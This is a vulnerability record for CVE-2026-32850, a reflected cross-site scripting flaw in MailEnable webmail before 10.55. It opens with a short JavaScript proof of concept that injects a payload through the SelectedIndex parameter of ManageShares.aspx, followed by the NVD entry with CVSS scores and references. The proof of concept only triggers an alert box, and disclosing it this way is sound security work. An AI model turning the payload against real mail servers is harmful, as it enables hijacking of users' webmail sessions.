CVE-2026-32850

// Proof of Concept for CVE-2026-32850 // Target: MailEnable < 10.55 // Endpoint: /ManageShares.aspx // Vulnerable Parameter: SelectedIndex // The payload attempts to execute a simple alert box via the vulnerable parameter. // This demonstrates the lack of output encoding in the dynamic JavaScript generation. var payload = "';alert(document.domain);//"; var targetUrl = "http://target-mailenable-server/ManageShares.aspx?SelectedIndex=" + encodeURIComponent(payload); console.log("PoC URL: " + targetUrl); // If a user clicks this link while authenticated, the alert will trigger.

{"cve": {"id": "CVE-2026-32850", "sourceIdentifier": "[email protected]", "published": "2026-03-23T20:16:26.850", "lastModified": "2026-03-30T14:34:21.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.55 contain a reflected cross-site scripting vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL. Attackers can inject malicious code through the SelectedIndex parameter in the ManageShares.aspx form, which is not properly sanitized before being embedded into dynamically generated JavaScript."}, {"lang": "es", "value": "Versiones de MailEnable anteriores a la 10.55 contienen una vulnerabilidad de cross-site scripting reflejado en la interfaz de webmail que permite a atacantes remotos ejecutar JavaScript arbitrario en el navegador de una víctima al crear una URL maliciosa. Los atacantes pueden inyectar código malicioso a través del parámetro SelectedIndex en el formulario ManageShares.aspx, que no se sanea correctamente antes de ser incrustado en JavaScript generado dinámicamente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.55", "matchCriteriaId": "F962A848-7090-4A82-B642-8A21C594060E"}]}]}], "references": [{"url": "https://karmainsecurity.com/KIS-2026-05", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.mailenable.com/rss/article.asp?Source=RSSADMIN&ID=MAILENABLEVERSION1055", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-via-manageshares-aspx-selectedindex-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}